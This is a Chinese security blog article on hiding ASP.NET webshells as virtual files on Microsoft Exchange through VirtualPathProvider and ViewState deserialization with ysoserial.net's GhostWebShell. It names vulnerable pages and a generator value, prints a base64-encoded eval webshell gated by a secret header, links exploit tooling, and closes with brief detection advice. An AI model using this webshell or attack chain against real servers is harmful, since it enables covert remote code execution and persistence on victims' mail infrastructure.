0x00 前言
通过ASP.NET的VirtualPathProvider类能够创建虚拟文件,实现以下效果:虚拟文件不存在于服务器的文件系统,但是能够对其动态编译并提供访问服务。ysoserial.net的GhostWebShell.cs提供了一种可供学习的利用思路。
本文将要介绍虚拟文件的利用方法,在ysoserial.net的GhostWebShell.cs基础上介绍Exchange下的利用方法,开源代码,记录细节,给出防御建议。
0x01 简介
本文将要介绍以下内容:
· VirtualPathProvider在Exchange下的利用
· DotNet反序列化在Exchange下的利用
· 防御检测
0x02 VirtualPathProvider在Exchange下的利用
参考资料:
在实现上需要继承VirtualPathProvider类并重写两个方法:FileExists和GetFile,注册VirtualPathProvider并创建实例后,实现虚拟文件的创建
示例代码:
通过这种方式实现的Webshell,虽然能够隐藏真实的文件内容,但是需要依赖文件,容易被清除,隐蔽性不够。
而利用ysoserial.net的GhostWebShell.cs恰恰能够解决这个问题,提高隐蔽性。
0x03 DotNet反序列化的利用
参考代码:
https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs
测试环境:
对于这两个位置的.Net反序列化命令执行,不再需要合法用户的凭据。
这里选择%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx,对应的generator为042A94E8
使用ysoserial.net生成ViewState的参数如下:
使用如下代码发送ViewState:
一句话的测试代码:
使用AntSword连接时,需要设置HTTP HEADERS,内容如下:
Name: Value Value: 00HGAT3K0AXHV2RF2W0G
Base64后的字符为:
PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQiJT48JQppZihSZXF1ZXN0LkhlYWRlcnNbIlZhbHVlIl09PSIwMEhHQVQzSzBBWEhWMlJGMlcwRyIpCnsKZXZhbChSZXF1ZXN0Lkl0ZW1bImFudHN3b3JkIl0sInVuc2FmZSIpOwkKfQplbHNlCnsKUmVzcG9uc2UuUmVkaXJlY3QoIi9vd2EvYXV0aC9lcnJvckZFLmFzcHg/aHR0cENvZGU9NDA0Iik7Cn0KJT4=
替换GhostWebShell.cs中的webshellContentsBase64。
完整的Python实现代码已上传至github,地址如下:
代码支持两个位置的反序列化执行,分别为默认存在的文件%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx和%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth\TimeoutLogout.aspx,能够自动生成带有Webshell功能的GhostWebShell.cs,使用ysoserial.net生成ViewState并发送。
完整的C#实现代码已上传至github,地址如下:
代码功能同上,可直接编译并执行,不再依赖ysoserial.net
注:
为了便于在Exchange下进行测试,我将GhostWebShell.cs修改成了aspx文件,可以直接访问进行测试,代码地址如下:
https://github.com/3gstudent/test/blob/master/PageLoad_ghostfile.aspx
0x04 防御检测
利用虚拟文件创建的ASP.NET Webshell,不再需要写入aspx文件,在防御上可监控临时目录下产生的编译文件,默认位置:
需要注意的是攻击者在产生编译文件后可以进行删除。
0x05 小结
本文介绍了虚拟文件的利用方法,针对Exchange环境,分别介绍了VirtualPathProvider和DotNet反序列化的利用,给出防御建议。
本文为 3gstudent 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址